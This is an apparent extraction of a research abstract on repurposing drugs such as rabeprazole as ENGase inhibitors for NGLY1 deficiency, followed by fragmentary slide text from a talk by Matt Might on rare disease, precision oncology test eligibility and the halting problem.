\textsuperscript{f}Interdepartmental Program in Neuroscience, University of Utah, Salt Lake City, Utah 84112, United States

\textbf{ABSTRACT}

N-glycanase deficiency, or NGLY1 deficiency, is an extremely rare human genetic disease. N-glycanase, encoded by the gene NGLY1, is an important enzyme involved in protein deglycosylation of misfolded proteins. Deglycosylation of misfolded proteins precedes the endoplasmic reticulum (ER)–associated degradation (ERAD) process. NGLY1 patients produce little or no N-glycanase (Ngly1), and the symptoms include global developmental delay, frequent seizures, complex hyperkinetic movement disorder, difficulty in swallowing/aspiration, liver dysfunction, and a lack of tears. Unfortunately, there has not been any therapeutic option available for this rare disease so far. Recently, a proposed molecular mechanism for NGLY1 deficiency suggested that endo-β-N-acetylglucosaminidase (ENGase) inhibitors may be promising therapeutics for NGLY1 patients. Herein, we performed structure-based virtual screening of FDA-approved drug database on this ENGase target to enable repurposing of existing drugs. Several Proton Pump Inhibitors (PPIs), a series of substituted 1H-Benz[d] imidazoles, and 1H-imidazo [4,5-b] pyridines, among other scaffolds, have been identified as potent ENGase inhibitors. An electrophoretic mobility shift assay was employed to assess the inhibition of ENGase activity by these PPIs. Our efforts led to the discovery of Rabeprazole Sodium as the most promising hit with an IC\textsubscript{50} of 4.47±0.44 μM. This is the first report that describes the discovery of small molecule ENGase inhibitors, which can potentially be used for the treatment of human NGLY1 deficiency.
Will it work again?
Make it so.
5 diseases; 12 months
Yes, we can.
Yes, we did.
More than computation
Regulatory approval

Therapy

Diagnosis
What’s next?
Three focus areas
Rare
Precision oncology
Pharmacogenomics
Human screenome project
Broad, reusable assays
High coverage
What about cancer?
Solid tumor or lymphoma
Age: >18
ECOG PS: 0-2
Available tissue

Metastatic or Unresectable

Measureable disease (10mm)

NSCLC or melanoma
In-house NGS test
Strata Test

All other cancer types
Strata Test

Strata Test
Solid tumor or lymphoma
Age: >18
ECOG PS: 0-2
Available tissue

- Glioblastoma
  - Strata Test
- Pancreatic cancer
  - Strata Test

- Metastatic or Unresectable
  - Prostate cancer
    - Measureable disease or PSA recurrence
    - Strata Test
  - Ovarian cancer
    - Measureable disease or CA125 recurrence
    - Strata Test
  - Measureable disease (10mm)
    - NSCLC or melanoma
      - In-house NGS test
      - Strata Test
    - All other cancer types
      - Strata Test
The War on Error?
$\hat{f} : \{\text{halts}\} \rightarrow \{\text{loops}\}$

$\hat{f} : \{\text{dunno}\}$
Thank you!

Matt Might | matt.might.net | @mattmight